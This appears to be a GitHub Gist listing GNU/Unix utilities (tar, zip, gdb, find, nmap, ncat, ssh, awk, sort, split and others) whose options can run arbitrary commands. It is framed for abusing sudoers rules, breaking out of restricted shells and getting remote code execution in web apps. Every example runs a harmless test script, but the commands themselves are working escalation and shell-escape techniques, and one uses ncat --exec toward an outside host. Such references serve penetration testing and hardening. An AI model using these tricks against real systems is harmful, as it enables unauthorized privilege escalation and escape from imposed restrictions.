This Gist documents Unix utilities that have options that can be abused to execute other, arbritrary commands. This information can be useful in many scenarios -- the ones that come to mind are abusing certain /etc/sudoers configurations, breaking out of limited shells (eg. the ones provided in many network devices) and getting RCE in webapps even with restrictive filters in place.
Many of these examples originally came from this blogpost.
This is the script that was used to test these examples:
$ cat test.sh
#!/bin/sh
CALLER="$(ps -o comm= $PPID)"
echo "This shell script was invoked by $CALLER">&2
$ ./test.sh
This shell script was invoked by bash
(The ps trick to get the calling program doesn't work all the time because some programs actually spawn a subshell to execute the command.) All of these utilities are the GNU versions unless otherwise specified.
$ touch dummyfile
$ tar czf dummy.tar --checkpoint=1 --checkpoint-action="exec=./test.sh" dummyfile
This shell script was invoked by tar
$ tar cf dummy2.tar -I "./test.sh" dummyfile
This shell script was invoked by tar
$ tar xf dummy.tar --to-command=./test.sh
This shell script was invoked by tar
$ tar cf fake@localhost:/fake/fake.tar --rsh-command=./test.sh dummyfile
This shell script was invoked by tar
tar: fake@localhost\:/fake/fake.tar: Cannot open: Input/output error
tar: Error is not recoverable: exiting now
$ zip dummy.zip -T -TT ./test.sh
This shell script was invoked by sh
test of dummy.zip OK
$ ftp
ftp> ! ./test.sh
This shell script was invoked by ftp
ftp> exit
$ gdb -q
(gdb) ! ./test.sh
This shell script was invoked by gdb
(gdb) exit
$ find -name dummyfile -exec ./test.sh \;
This shell script was invoked by find
$ cat exec.lua
os.execute("./test.sh");
$ nmap --script exec.lua -p80 localhost
Starting Nmap 6.47 ( http://nmap.org ) at 2015-11-20 17:03 CET
NSE: Warning: Loading 'exec.lua' -- the recommended file extension is '.nse'.
This shell script was invoked by sh
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:559: exec.lua is missing required field: 'action'
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nse_main.lua:559: in function 'new'
/usr/bin/../share/nmap/nse_main.lua:788: in function 'get_chosen_scripts'
/usr/bin/../share/nmap/nse_main.lua:1276: in main chunk
[C]: in ?
QUITTING!
You can also make use of this Metasploit module.
$ ncat --exec ./test.sh niceme.me 80
This shell script was invoked by ncat
$ man -P ./test.sh man
This shell script was invoked by man
$ cat ~/.ssh/config
host lol
hostname localhost
user inability
ProxyCommand ./test.sh
$ ssh lol
This shell script was invoked by ssh
ssh_exchange_identification: Connection closed by remote host
$ slogin lol
This shell script was invoked by slogin
ssh_exchange_identification: Connection closed by remote host
From http://www.hackdog.me/wordpress/archives/454
Slightly simpler variant that doesn't require a separate file:
$ ssh -o "ProxyCommand ./test.sh" localhost
This shell script was invoked by ssh
ssh_exchange_identification: Connection closed by remote host
$ awk 'BEGIN { system("./test.sh"); }'
This shell script was invoked by sh
$ scp -S ./test.sh dummyfile inability@localhost:~/dummyfile
This shell script was invoked by scp
lost connection
$ install -s --strip-program=./test.sh dummyfile dummyfile2
This shell script was invoked by install
This one is a bit special -- sort uses temporary files to do its work, and it has a --compress-program option to specify a comrpession program that can be used if the files get too large. This means that in order to get it to launch your target program, you have to feed it a sufficiently large file. I've illustrated this by chaining a file to itself to create a large stdin:
$ ln -s /var/log/wtmp a
$ cat a a a a a | sort --compress-program=./test.sh
This shell script was invoked by sort
$ split -l 1 --filter=./test.sh dummy.html
This shell script was invoked by split